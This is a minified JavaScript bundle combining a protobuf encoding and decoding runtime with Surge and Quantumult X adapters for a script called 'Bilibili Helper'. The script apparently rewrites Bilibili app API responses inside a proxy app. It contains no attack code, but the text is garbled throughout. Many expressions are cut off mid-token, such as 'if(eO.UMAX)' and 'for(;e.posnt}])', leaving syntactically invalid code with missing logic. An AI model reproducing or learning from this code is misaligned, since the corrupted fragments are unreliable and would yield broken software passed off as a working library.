from(e){if(O)switch(typeof e){case"string":if(e=="0")return this.ZERO;if(e=="")throw new Error("string is no integer");e=O.C(e);case"number":if(e===0)return this.ZERO;e=O.C(e);case"bigint":if(!e)return this.ZERO;if(eO.UMAX)throw new Error("ulong too large");return O.V.setBigUint64(0,e,!0),new R(O.V.getInt32(0,!0),O.V.getInt32(4,!0))}else switch(typeof e){case"string":if(e=="0")return this.ZERO;if(e=e.trim(),!vi.test(e))throw new Error("string is no integer");let[t,i,n]=Me(e);if(t)throw new Error("signed value for ulong");return new R(i,n);case"number":if(e==0)return this.ZERO;if(!Number.isSafeInteger(e))throw new Error("number is no integer");if(e<0)throw new Error("signed value for ulong");return new R(e,e/Ie)}throw new Error("unknown value "+typeof e)}toString(){return O?this.toBigInt().toString():Te(this.lo,this.hi)}toBigInt(){return ki(O),O.V.setInt32(0,this.lo,!0),O.V.setInt32(4,this.hi,!0),O.V.getBigUint64(0,!0)}};R.ZERO=new R(0,0);var I=class extends Ue{static from(e){if(O)switch(typeof e){case"string":if(e=="0")return this.ZERO;if(e=="")throw new Error("string is no integer");e=O.C(e);case"number":if(e===0)return this.ZERO;e=O.C(e);case"bigint":if(!e)return this.ZERO;if(eO.MAX)throw new Error("signed long too large");return O.V.setBigInt64(0,e,!0),new I(O.V.getInt32(0,!0),O.V.getInt32(4,!0))}else switch(typeof e){case"string":if(e=="0")return this.ZERO;if(e=e.trim(),!vi.test(e))throw new Error("string is no integer");let[t,i,n]=Me(e);if(t){if(n>xe||n==xe&&i!=0)throw new Error("signed long too small")}else if(n>=xe)throw new Error("signed long too large");let s=new I(i,n);return t?s.negate():s;case"number":if(e==0)return this.ZERO;if(!Number.isSafeInteger(e))throw new Error("number is no integer");return e>0?new I(e,e/Ie):new I(-e,-e/Ie).negate()}throw new Error("unknown value "+typeof e)}isNegative(){return(this.hi&xe)!==0}negate(){let e=~this.hi,t=this.lo;return t?t=~t+1:e+=1,new I(t,e)}toString(){if(O)return this.toBigInt().toString();if(this.isNegative()){let e=this.negate();return"-"+Te(e.lo,e.hi)}return Te(this.lo,this.hi)}toBigInt(){return ki(O),O.V.setInt32(0,this.lo,!0),O.V.setInt32(4,this.hi,!0),O.V.getBigInt64(0,!0)}};I.ZERO=new I(0,0);var Ni={readUnknownField:!0,readerFactory:r=>new Ge(r)};function Bi(r){return r?Object.assign(Object.assign({},Ni),r):Ni}var Ge=class{constructor(e,t){this.varint64=wi,this.uint32=bi,this.buf=e,this.len=e.length,this.pos=0,this.view=new DataView(e.buffer,e.byteOffset,e.byteLength),this.textDecoder=t??new TextDecoder("utf-8",{fatal:!0,ignoreBOM:!0})}tag(){let e=this.uint32(),t=e>>>3,i=e&7;if(t<=0||i<0||i>5)throw new Error("illegal tag: field no "+t+" wire type "+i);return[t,i]}skip(e){let t=this.pos;switch(e){case u.Varint:for(;this.buf[this.pos++]&128;);break;case u.Bit64:this.pos+=4;case u.Bit32:this.pos+=4;break;case u.LengthDelimited:let i=this.uint32();this.pos+=i;break;case u.StartGroup:let n;for(;(n=this.tag()[1])!==u.EndGroup;)this.skip(n);break;default:throw new Error("cant skip wire type "+e)}return this.assertBounds(),this.buf.subarray(t,this.pos)}assertBounds(){if(this.pos>this.len)throw new RangeError("premature EOF")}int32(){return this.uint32()|0}sint32(){let e=this.uint32();return e>>>1^-(e&1)}int64(){return new I(...this.varint64())}uint64(){return new R(...this.varint64())}sint64(){let[e,t]=this.varint64(),i=-(e&1);return e=(e>>>1|(t&1)<<31)^i,t=t>>>1^i,new I(e,t)}bool(){let[e,t]=this.varint64();return e!==0||t!==0}fixed32(){return this.view.getUint32((this.pos+=4)-4,!0)}sfixed32(){return this.view.getInt32((this.pos+=4)-4,!0)}fixed64(){return new R(this.sfixed32(),this.sfixed32())}sfixed64(){return new I(this.sfixed32(),this.sfixed32())}float(){return this.view.getFloat32((this.pos+=4)-4,!0)}double(){return this.view.getFloat64((this.pos+=8)-8,!0)}bytes(){let e=this.uint32(),t=this.pos;return this.pos+=e,this.assertBounds(),this.buf.subarray(t,t+e)}string(){return this.textDecoder.decode(this.bytes())}};function N(r,e){if(!r)throw new Error(e)}var kr=34028234663852886e22,vr=-34028234663852886e22,Nr=4294967295,Br=2147483647,Tr=-2147483648;function Z(r){if(typeof r!="number")throw new Error("invalid int 32: "+typeof r);if(!Number.isInteger(r)||r>Br||rNr||r<0)throw new Error("invalid uint 32: "+r)}function fe(r){if(typeof r!="number")throw new Error("invalid float 32: "+typeof r);if(Number.isFinite(r)&&(r>kr||rnew Ke};function xi(r){return r?Object.assign(Object.assign({},Ti),r):Ti}var Ke=class{constructor(e){this.stack=[],this.textEncoder=e??new TextEncoder,this.chunks=[],this.buf=[]}finish(){this.chunks.push(new Uint8Array(this.buf));let e=0;for(let n=0;n>>0)}raw(e){return this.buf.length&&(this.chunks.push(new Uint8Array(this.buf)),this.buf=[]),this.chunks.push(e),this}uint32(e){for(ee(e);e>127;)this.buf.push(e&127|128),e=e>>>7;return this.buf.push(e),this}int32(e){return Z(e),ze(e,this.buf),this}bool(e){return this.buf.push(e?1:0),this}bytes(e){return this.uint32(e.byteLength),this.raw(e)}string(e){let t=this.textEncoder.encode(e);return this.uint32(t.byteLength),this.raw(t)}float(e){fe(e);let t=new Uint8Array(4);return new DataView(t.buffer).setFloat32(0,e,!0),this.raw(t)}double(e){let t=new Uint8Array(8);return new DataView(t.buffer).setFloat64(0,e,!0),this.raw(t)}fixed32(e){ee(e);let t=new Uint8Array(4);return new DataView(t.buffer).setUint32(0,e,!0),this.raw(t)}sfixed32(e){Z(e);let t=new Uint8Array(4);return new DataView(t.buffer).setInt32(0,e,!0),this.raw(t)}sint32(e){return Z(e),e=(e<<1^e>>31)>>>0,ze(e,this.buf),this}sfixed64(e){let t=new Uint8Array(8),i=new DataView(t.buffer),n=I.from(e);return i.setInt32(0,n.lo,!0),i.setInt32(4,n.hi,!0),this.raw(t)}fixed64(e){let t=new Uint8Array(8),i=new DataView(t.buffer),n=R.from(e);return i.setInt32(0,n.lo,!0),i.setInt32(4,n.hi,!0),this.raw(t)}int64(e){let t=I.from(e);return Be(t.lo,t.hi,this.buf),this}sint64(e){let t=I.from(e),i=t.hi>>31,n=t.lo<<1^i,s=(t.hi<<1|t.lo>>>31)^i;return Be(n,s,this.buf),this}uint64(e){let t=R.from(e);return Be(t.lo,t.hi,this.buf),this}};var Ii={emitDefaultValues:!1,enumAsInteger:!1,useProtoFieldName:!1,prettySpaces:0},Ui={ignoreUnknownFields:!1};function Je(r){return r?Object.assign(Object.assign({},Ui),r):Ui}function pe(r){return r?Object.assign(Object.assign({},Ii),r):Ii}var Ee=Symbol.for("protobuf-ts/message-type");function qe(r){let e=!1,t=[];for(let i=0;i!n.includes(f))||!i&&n.some(f=>!s.known.includes(f)))return!1;if(t<1)return!0;for(let f of s.oneofs){let o=e[f];if(!Oi(o))return!1;if(o.oneofKind===void 0)continue;let l=this.fields.find(a=>a.localName===o.oneofKind);if(!l||!this.field(o[o.oneofKind],l,i,t))return!1}for(let f of this.fields)if(f.oneof===void 0&&!this.field(e[f.localName],f,i,t))return!1;return!0}field(e,t,i,n){let s=t.repeat;switch(t.kind){case"scalar":return e===void 0?t.opt:s?this.scalars(e,t.T,n,t.L):this.scalar(e,t.T,t.L);case"enum":return e===void 0?t.opt:s?this.scalars(e,d.INT32,n):this.scalar(e,d.INT32);case"message":return e===void 0?!0:s?this.messages(e,t.T(),i,n):this.message(e,t.T(),i,n);case"map":if(typeof e!="object"||e===null)return!1;if(n<2)return!0;if(!this.mapKeys(e,t.K,n))return!1;switch(t.V.kind){case"scalar":return this.scalars(Object.values(e),t.V.T,n,t.V.L);case"enum":return this.scalars(Object.values(e),d.INT32,n);case"message":return this.messages(Object.values(e),t.V.T(),i,n)}break}return!0}message(e,t,i,n){return i?t.isAssignable(e,n):t.is(e,n)}messages(e,t,i,n){if(!Array.isArray(e))return!1;if(n<2)return!0;if(i){for(let s=0;sparseInt(s)),t,i);case d.BOOL:return this.scalars(n.slice(0,i).map(s=>s=="true"?!0:s=="false"?!1:s),t,i);default:return this.scalars(n,t,i,S.STRING)}}};function P(r,e){switch(e){case S.BIGINT:return r.toBigInt();case S.NUMBER:return r.toNumber();default:return r.toString()}}var Re=class{constructor(e){this.info=e}prepare(){var e;if(this.fMap===void 0){this.fMap={};let t=(e=this.info.fields)!==null&&e!==void 0?e:[];for(let i of t)this.fMap[i.name]=i,this.fMap[i.jsonName]=i,this.fMap[i.localName]=i}}assert(e,t,i){if(!e){let n=Q(i);throw(n=="number"||n=="boolean")&&(n=i.toString()),new Error(`Cannot parse JSON ${n} for ${this.info.typeName}#${t}`)}}read(e,t,i){this.prepare();let n=[];for(let[s,f]of Object.entries(e)){let o=this.fMap[s];if(!o){if(!i.ignoreUnknownFields)throw new Error(`Found unknown field while reading ${this.info.typeName} from JSON format. JSON key: ${s}`);continue}let l=o.localName,a;if(o.oneof){if(f===null&&(o.kind!=="enum"||o.T()[0]!=="google.protobuf.NullValue"))continue;if(n.includes(o.oneof))throw new Error(`Multiple members of the oneof group "${o.oneof}" of ${this.info.typeName} are present in JSON.`);n.push(o.oneof),a=t[o.oneof]={oneofKind:l}}else a=t;if(o.kind=="map"){if(f===null)continue;this.assert(le(f),o.name,f);let c=a[l];for(let[g,w]of Object.entries(f)){this.assert(w!==null,o.name+" map value",null);let y;switch(o.V.kind){case"message":y=o.V.T().internalJsonRead(w,i);break;case"enum":if(y=this.enum(o.V.T(),w,o.name,i.ignoreUnknownFields),y===!1)continue;break;case"scalar":y=this.scalar(w,o.V.T,o.V.L,o.name);break}this.assert(y!==void 0,o.name+" map value",w);let v=g;o.K==d.BOOL&&(v=v=="true"?!0:v=="false"?!1:v),v=this.scalar(v,o.K,S.STRING,o.name).toString(),c[v]=y}}else if(o.repeat){if(f===null)continue;this.assert(Array.isArray(f),o.name,f);let c=a[l];for(let g of f){this.assert(g!==null,o.name,null);let w;switch(o.kind){case"message":w=o.T().internalJsonRead(g,i);break;case"enum":if(w=this.enum(o.T(),g,o.name,i.ignoreUnknownFields),w===!1)continue;break;case"scalar":w=this.scalar(g,o.T,o.L,o.name);break}this.assert(w!==void 0,o.name,f),c.push(w)}}else switch(o.kind){case"message":if(f===null&&o.T().typeName!="google.protobuf.Value"){this.assert(o.oneof===void 0,o.name+" (oneof member)",null);continue}a[l]=o.T().internalJsonRead(f,i,a[l]);break;case"enum":let c=this.enum(o.T(),f,o.name,i.ignoreUnknownFields);if(c===!1)continue;a[l]=c;break;case"scalar":a[l]=this.scalar(f,o.T,o.L,o.name);break}}}enum(e,t,i,n){if(e[0]=="google.protobuf.NullValue"&&N(t===null||t==="NULL_VALUE",`Unable to parse field ${this.info.typeName}#${i}, enum ${e[0]} only accepts null.`),t===null)return 0;switch(typeof t){case"number":return N(Number.isInteger(t),`Unable to parse field ${this.info.typeName}#${i}, enum can only be integral number, got ${t}.`),t;case"string":let s=t;e[2]&&t.substring(0,e[2].length)===e[2]&&(s=t.substring(e[2].length));let f=e[1][s];return typeof f>"u"&&n?!1:(N(typeof f=="number",`Unable to parse field ${this.info.typeName}#${i}, enum ${e[0]} has no value for "${t}".`),f)}N(!1,`Unable to parse field ${this.info.typeName}#${i}, cannot parse enum value from ${typeof t}".`)}scalar(e,t,i,n){let s;try{switch(t){case d.DOUBLE:case d.FLOAT:if(e===null)return 0;if(e==="NaN")return Number.NaN;if(e==="Infinity")return Number.POSITIVE_INFINITY;if(e==="-Infinity")return Number.NEGATIVE_INFINITY;if(e===""){s="empty string";break}if(typeof e=="string"&&e.trim().length!==e.length){s="extra whitespace";break}if(typeof e!="string"&&typeof e!="number")break;let f=Number(e);if(Number.isNaN(f)){s="not a number";break}if(!Number.isFinite(f)){s="too large or small";break}return t==d.FLOAT&&fe(f),f;case d.INT32:case d.FIXED32:case d.SFIXED32:case d.SINT32:case d.UINT32:if(e===null)return 0;let o;if(typeof e=="number"?o=e:e===""?s="empty string":typeof e=="string"&&(e.trim().length!==e.length?s="extra whitespace":o=Number(e)),o===void 0)break;return t==d.UINT32?ee(o):Z(o),o;case d.INT64:case d.SFIXED64:case d.SINT64:if(e===null)return P(I.ZERO,i);if(typeof e!="number"&&typeof e!="string")break;return P(I.from(e),i);case d.FIXED64:case d.UINT64:if(e===null)return P(R.ZERO,i);if(typeof e!="number"&&typeof e!="string")break;return P(R.from(e),i);case d.BOOL:if(e===null)return!1;if(typeof e!="boolean")break;return e;case d.STRING:if(e===null)return"";if(typeof e!="string"){s="extra whitespace";break}try{encodeURIComponent(e)}catch(l){l="invalid UTF8";break}return e;case d.BYTES:if(e===null||e==="")return new Uint8Array(0);if(typeof e!="string")break;return gi(e)}}catch(f){s=f.message}this.assert(!1,n+(s?" - "+s:""),e)}};var Le=class{constructor(e){var t;this.fields=(t=e.fields)!==null&&t!==void 0?t:[]}write(e,t){let i={},n=e;for(let s of this.fields){if(!s.oneof){let a=this.field(s,n[s.localName],t);a!==void 0&&(i[t.useProtoFieldName?s.name:s.jsonName]=a);continue}let f=n[s.oneof];if(f.oneofKind!==s.localName)continue;let o=s.kind=="scalar"||s.kind=="enum"?Object.assign(Object.assign({},t),{emitDefaultValues:!0}):t,l=this.field(s,f[s.localName],o);N(l!==void 0),i[t.useProtoFieldName?s.name:s.jsonName]=l}return i}field(e,t,i){let n;if(e.kind=="map"){N(typeof t=="object"&&t!==null);let s={};switch(e.V.kind){case"scalar":for(let[l,a]of Object.entries(t)){let c=this.scalar(e.V.T,a,e.name,!1,!0);N(c!==void 0),s[l.toString()]=c}break;case"message":let f=e.V.T();for(let[l,a]of Object.entries(t)){let c=this.message(f,a,e.name,i);N(c!==void 0),s[l.toString()]=c}break;case"enum":let o=e.V.T();for(let[l,a]of Object.entries(t)){N(a===void 0||typeof a=="number");let c=this.enum(o,a,e.name,!1,!0,i.enumAsInteger);N(c!==void 0),s[l.toString()]=c}break}(i.emitDefaultValues||Object.keys(s).length>0)&&(n=s)}else if(e.repeat){N(Array.isArray(t));let s=[];switch(e.kind){case"scalar":for(let l=0;l0||i.emitDefaultValues)&&(n=s)}else switch(e.kind){case"scalar":n=this.scalar(e.T,t,e.name,e.opt,i.emitDefaultValues);break;case"enum":n=this.enum(e.T(),t,e.name,e.opt,i.emitDefaultValues,i.enumAsInteger);break;case"message":n=this.message(e.T(),t,e.name,i);break}return n}enum(e,t,i,n,s,f){if(e[0]=="google.protobuf.NullValue")return!s&&!n?void 0:null;if(t===void 0){N(n);return}if(!(t===0&&!s&&!n))return N(typeof t=="number"),N(Number.isInteger(t)),f||!e[1].hasOwnProperty(t)?t:e[2]?e[2]+e[1][t]:e[1][t]}message(e,t,i,n){return t===void 0?n.emitDefaultValues?null:void 0:e.internalJsonWrite(t,n)}scalar(e,t,i,n,s){if(t===void 0){N(n);return}let f=s||n;switch(e){case d.INT32:case d.SFIXED32:case d.SINT32:return t===0?f?0:void 0:(Z(t),t);case d.FIXED32:case d.UINT32:return t===0?f?0:void 0:(ee(t),t);case d.FLOAT:fe(t);case d.DOUBLE:return t===0?f?0:void 0:(N(typeof t=="number"),Number.isNaN(t)?"NaN":t===Number.POSITIVE_INFINITY?"Infinity":t===Number.NEGATIVE_INFINITY?"-Infinity":t);case d.STRING:return t===""?f?"":void 0:(N(typeof t=="string"),t);case d.BOOL:return t===!1?f?!1:void 0:(N(typeof t=="boolean"),t);case d.UINT64:case d.FIXED64:N(typeof t=="number"||typeof t=="string"||typeof t=="bigint");let o=R.from(t);return o.isZero()&&!f?void 0:o.toString();case d.INT64:case d.SFIXED64:case d.SINT64:N(typeof t=="number"||typeof t=="string"||typeof t=="bigint");let l=I.from(t);return l.isZero()&&!f?void 0:l.toString();case d.BYTES:return N(t instanceof Uint8Array),t.byteLength?yi(t):f?"":void 0}}};function ge(r,e=S.STRING){switch(r){case d.BOOL:return!1;case d.UINT64:case d.FIXED64:return P(R.ZERO,e);case d.INT64:case d.SFIXED64:case d.SINT64:return P(I.ZERO,e);case d.DOUBLE:case d.FLOAT:return 0;case d.BYTES:return new Uint8Array(0);case d.STRING:return"";default:return 0}}var Fe=class{constructor(e){this.info=e}prepare(){var e;if(!this.fieldNoToField){let t=(e=this.info.fields)!==null&&e!==void 0?e:[];this.fieldNoToField=new Map(t.map(i=>[i.no,i]))}}read(e,t,i,n){this.prepare();let s=n===void 0?e.len:e.pos+n;for(;e.post.no-i.no)}}write(e,t,i){this.prepare();for(let s of this.fields){let f,o,l=s.repeat,a=s.localName;if(s.oneof){let c=e[s.oneof];if(c.oneofKind!==a)continue;f=c[a],o=!0}else f=e[a],o=!1;switch(s.kind){case"scalar":case"enum":let c=s.kind=="enum"?d.INT32:s.T;if(l)if(N(Array.isArray(f)),l==me.PACKED)this.packed(t,c,s.no,f);else for(let g of f)this.scalar(t,c,s.no,g,!0);else f===void 0?N(s.opt):this.scalar(t,c,s.no,f,o||s.opt);break;case"message":if(l){N(Array.isArray(f));for(let g of f)this.message(t,i,s.T(),s.no,g)}else this.message(t,i,s.T(),s.no,f);break;case"map":N(typeof f=="object"&&f!==null);for(let[g,w]of Object.entries(f))this.mapEntry(t,i,s,g,w);break}}let n=i.writeUnknownFields;n!==!1&&(n===!0?h.onWrite:n)(this.info.typeName,e,t)}mapEntry(e,t,i,n,s){e.tag(i.no,u.LengthDelimited),e.fork();let f=n;switch(i.K){case d.INT32:case d.FIXED32:case d.UINT32:case d.SFIXED32:case d.SINT32:f=Number.parseInt(n);break;case d.BOOL:N(n=="true"||n=="false"),f=n=="true";break}switch(this.scalar(e,i.K,1,f,!0),i.V.kind){case"scalar":this.scalar(e,i.V.T,2,s,!0);break;case"enum":this.scalar(e,d.INT32,2,s,!0);break;case"message":this.message(e,t,i.V.T(),2,s);break}e.join()}message(e,t,i,n,s){s!==void 0&&(i.internalBinaryWrite(s,e.tag(n,u.LengthDelimited).fork(),t),e.join())}scalar(e,t,i,n,s){let[f,o,l]=this.scalarInfo(t,n);(!l||s)&&(e.tag(i,f),e[o](n))}packed(e,t,i,n){if(!n.length)return;N(t!==d.BYTES&&t!==d.STRING),e.tag(i,u.LengthDelimited),e.fork();let[,s]=this.scalarInfo(t);for(let f=0;fte}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return t.commandDms=[],e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.posXe}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.posnew Si(r,e,t),Surge:(r,e,t)=>new Vi(r,e,t)};var et=class extends H{getFn(r,e,t){let i=et.clientAdapter[e]||e;return super.getFn(r,i,t)}setFn(r,e,t,i){let n=et.clientAdapter[e]||e;return super.setFn(r,n,t,i)}init(){try{this.request=this.createProxy($request),this.response=this.createProxy($response)}catch(r){this.log(r.toString())}}getVal(r){return $persistentStore.read(r)}setVal(r,e){$persistentStore.write(r,e)}msg(r=this.name,e="",t="",i){$notification.post(r,e,t,{url:i??""})}async fetch(r){return await new Promise((e,t)=>{let{method:i,body:n,bodyBytes:s,...f}=r,o=s??n,l=o instanceof Uint8Array;$httpClient[i.toLowerCase()]({...f,body:o,"binary-mode":l},(a,c,g)=>{a&&t(a);let w=l?"bodyBytes":"body";e({status:c.status,headers:c.headers,[w]:g})})})}done(r){let e=r.response??r,t,i;e.bodyBytes?(t=e.bodyBytes,delete e.bodyBytes,i={...r},i.response?i.response.body=t:i.body=t):i=r,$done(i)}},Vi=et;Vi.clientAdapter={bodyBytes:"body"};var Y=class extends H{static transferBodyBytes(r,e){return r instanceof ArrayBuffer?e==="Uint8Array"?new Uint8Array(r):r:r instanceof Uint8Array&&e==="ArrayBuffer"?r.buffer.slice(r.byteOffset,r.byteLength+r.byteOffset):r}init(){try{this.request=this.createProxy($request),this.response=this.createProxy($response)}catch(r){this.log(r.toString())}}getFn(r,e,t){let i=Y.clientAdapter[e]||e,n=super.getFn(r,i,t);return e==="bodyBytes"&&(n=Y.transferBodyBytes(n,"Uint8Array")),n}setFn(r,e,t,i){let n=Y.clientAdapter[e]||e,s=t;return e==="bodyBytes"&&(s=Y.transferBodyBytes(s,"Uint8Array")),super.setFn(r,n,s,i)}getVal(r){return $prefs.valueForKey(r)?.replace(/\0/g,"")}setVal(r,e){$prefs.setValueForKey(r,e)}msg(r=this.name,e="",t="",i){$notify(r,e,t,{"open-url":i??""})}async fetch(r){return await new Promise(e=>{let t={url:"",method:"GET"};for(let[i,n]of Object.entries(r))i==="id"?t.sessionIndex=n:i==="bodyBytes"?t.bodyBytes=Y.transferBodyBytes(n,"ArrayBuffer"):t[i]=n;r.bodyBytes&&delete t.body,$task.fetch(t).then(i=>{let n={status:200,headers:{}};for(let[s,f]of Object.entries(i))s==="sessionIndex"?n.id=f:s==="bodyBytes"?n.bodyBytes=Y.transferBodyBytes(f,"Uint8Array"):s==="statusCode"?n.status=f:n[s]=f;e(n)})})}done(r){let e=r.response??r,t={};for(let[i,n]of Object.entries(e))i==="status"?t.status=`HTTP/1.1 ${n}`:i==="bodyBytes"?t.bodyBytes=Y.transferBodyBytes(n,"ArrayBuffer"):t[i]=n;$done(t)}},Si=Y;Si.clientAdapter={id:"sessionIndex",status:"statusCode"};var Ir=H.getInstance("Bilibili Helper",{debug:!1});function Ur(r){let e=Er(r.length),t=new Uint8Array(5+r.length);return t[0]=0,t.set(e,1),t.set(r,5),t}function Er(r){let e=new ArrayBuffer(4);return new DataView(e).setUint32(0,r,!1),new Uint8Array(e)}function _(r,e){let t=r.toBinary(e);Ir.done({bodyBytes:Ur(t)})}var it=class extends m{constructor(){super("ModeStatus",[{no:1,name:"modes",kind:"message",repeat:1,T:()=>tt}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return t.modes=[],e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.posnt}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return t.id=0,t.name="",t.f4=0,e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.posa.typeName===n);if(!f)throw new globalThis.Error("Unable to convert google.protobuf.Any with typeUrl '"+e.typeUrl+"' to JSON. The specified type "+n+" is not available in the type registry.");let o=f.fromBinary(e.value,{readUnknownField:!1}),l=f.internalJsonWrite(o,s);return(n.startsWith("google.protobuf.")||!le(l))&&(l={value:l}),l["@type"]=e.typeUrl,l}internalJsonRead(e,t,i){var n;if(!le(e))throw new globalThis.Error("Unable to parse google.protobuf.Any from JSON "+Q(e)+".");if(typeof e["@type"]!="string"||e["@type"]=="")return this.create();let s=this.typeUrlToName(e["@type"]),f=(n=t?.typeRegistry)===null||n===void 0?void 0:n.find(l=>l.typeName==s);if(!f)throw new globalThis.Error("Unable to parse google.protobuf.Any from JSON. The specified type "+s+" is not available in the type registry.");let o;if(s.startsWith("google.protobuf.")&&e.hasOwnProperty("value"))o=f.fromJson(e.value,t);else{let l=Object.assign({},e);delete l["@type"],o=f.fromJson(l,t)}return i===void 0&&(i=this.create()),i.typeUrl=e["@type"],i.value=f.toBinary(o),i}typeNameToUrl(e){if(!e.length)throw new Error("invalid type name: "+e);return"type.googleapis.com/"+e}typeUrlToName(e){if(!e.length)throw new Error("invalid type url: "+e);let t=e.lastIndexOf("/"),i=t>0?e.substring(t+1):e;if(!i.length)throw new Error("invalid type url: "+e);return i}create(e){let t=globalThis.Object.create(this.messagePrototype);return t.typeUrl="",t.value=new Uint8Array(0),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.posD}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.posD}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.posj},{no:4,name:"duration",kind:"scalar",T:3,L:0},{no:5,name:"aid",kind:"scalar",T:3,L:0}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return t.duration=0n,t.aid=0n,e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.posj}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.posct},{no:10,name:"relates",kind:"message",repeat:1,T:()=>ut},{no:23,name:"label",kind:"message",T:()=>dt},{no:30,name:"cms",kind:"message",repeat:1,T:()=>j},{no:31,name:"cm_config",kind:"message",T:()=>lt},{no:41,name:"cm_ipad",kind:"message",T:()=>ft},{no:50,name:"special_cell_new",kind:"message",repeat:1,T:()=>pt}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return t.relates=[],t.cms=[],t.specialCellNew=[],e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.posht}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return t.attention=0,t.guestAttention=0,t.favorite=0,t.like=0,t.dislike=0,t.coin=0,t.attentionLevel=0,t.favSeason=0,e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.posj}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.posUt}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return t.items=[],e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.pos["DynamicType",ne]},{no:2,name:"item_type",kind:"enum",T:()=>["DynamicType",ne]},{no:5,name:"has_fold",kind:"scalar",T:5},{no:6,name:"server_info",kind:"scalar",T:9}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return t.cardType=0,t.itemType=0,t.hasFold=0,t.serverInfo="",e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.posLt},{no:2,name:"update_num",kind:"scalar",T:3,L:0},{no:3,name:"history_offset",kind:"scalar",T:9},{no:4,name:"update_baseline",kind:"scalar",T:9},{no:5,name:"has_more",kind:"scalar",T:8}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return t.list=[],t.updateNum=0n,t.historyOffset="",t.updateBaseline="",t.hasMore=!1,e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.pos["LiveState",Vt]},{no:11,name:"separator",kind:"scalar",T:8}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return t.name="",t.uid=0n,t.pos=0n,t.liveState=0,t.separator=!1,e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.posue},{no:4,name:"show_live_num",kind:"scalar",T:5},{no:10,name:"list_second",kind:"message",repeat:1,T:()=>ue}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return t.list=[],t.showLiveNum=0,t.listSecond=[],e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.posFt},{no:2,name:"up_list",kind:"message",T:()=>Dt},{no:3,name:"topic_list",kind:"message",T:()=>At}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.posMt}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.poste}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return t.commandDms=[],e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.pos["viewunite.v1.RelateCardType",re]}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return t.relateCardType=0,e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.posJt}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return t.cards=[],e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.posZt},{no:2,name:"content",kind:"scalar",T:9}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return t.content="",e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.pos["viewunite.v1.ModuleType",ie]},{no:5,name:"head_line",kind:"message",oneof:"data",T:()=>Xt},{no:22,name:"relates",kind:"message",oneof:"data",T:()=>qt}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return t.type=0,t.data={oneofKind:void 0},e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.posYt}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return t.title="",t.modules=[],e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.pos["viewunite.v1.TabType",sn]},{no:2,name:"introduction",kind:"message",oneof:"tab",T:()=>Ht}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return t.tabType=0,t.tab={oneofKind:void 0},e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,i,n){let s=n??this.create(),f=e.pos+t;for(;e.posQt}])}create(e){let t=globalThis.Object.create(this.messagePrototype);return 